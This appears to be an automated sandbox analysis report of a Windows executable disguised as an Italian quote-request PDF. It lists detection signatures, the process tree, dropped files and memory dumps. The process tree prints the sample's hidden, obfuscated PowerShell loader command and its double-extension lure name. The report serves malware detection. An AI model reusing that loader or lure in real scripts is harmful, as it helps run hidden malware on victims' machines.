Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/07/2024, 15:14

General

  • Target
    Richiesta Preventivo (ISGB) 7788EU - 0605ITA·pdf.exe
  • Size 549KB
  • Sample240717-sma2fswekm
  • SHA256 c293bf33914dcab819681869283b39b23b45fb608d42fa3a26562d301eab3746
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Richiesta Preventivo (ISGB) 7788EU - 0605ITA·pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\Richiesta Preventivo (ISGB) 7788EU - 0605ITA·pdf.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4408
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Nervures=Get-Content 'C:\Users\Admin\AppData\Local\Bagtes\zygomata.Coo';$Omfangsbedmmelses64=$Nervures.SubString(24976,3);.$Omfangsbedmmelses64($Nervures)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1308
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1308 -s 2220
        3⤵
        • Program crash
        PID:4960
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 1308 -ip 1308
    1⤵
      PID:4692

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          zygomata.Coo

          • Path C:\Users\Admin\AppData\Local\Bagtes\zygomata.Coo
          • Size 68KB
          • SHA256 e910d5f3afd1733a1824afc9a9dbb1c78529a2a5c63e24601038aa81241e9b7a
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_ym3dxgzd.djs.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ym3dxgzd.djs.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/1308-19-0x0000000005700000-0x0000000005766000-memory.dmp

          memory/1308-27-0x0000000005E40000-0x0000000005E8C000-memory.dmp

          memory/1308-12-0x00000000739A0000-0x0000000074150000-memory.dmp

          memory/1308-13-0x0000000004EF0000-0x0000000004F12000-memory.dmp

          memory/1308-10-0x00000000739A0000-0x0000000074150000-memory.dmp

          memory/1308-20-0x0000000005770000-0x00000000057D6000-memory.dmp

          memory/1308-8-0x00000000739AE000-0x00000000739AF000-memory.dmp

          memory/1308-25-0x00000000057E0000-0x0000000005B34000-memory.dmp

          memory/1308-26-0x0000000005DB0000-0x0000000005DCE000-memory.dmp

          memory/1308-11-0x0000000004F60000-0x0000000005588000-memory.dmp

          memory/1308-28-0x0000000006D50000-0x0000000006DE6000-memory.dmp

          memory/1308-30-0x0000000006320000-0x0000000006342000-memory.dmp

          memory/1308-29-0x00000000062D0000-0x00000000062EA000-memory.dmp

          memory/1308-31-0x00000000073A0000-0x0000000007944000-memory.dmp

          memory/1308-9-0x00000000047F0000-0x0000000004826000-memory.dmp

          memory/1308-33-0x0000000007FD0000-0x000000000864A000-memory.dmp

          memory/1308-35-0x00000000739A0000-0x0000000074150000-memory.dmp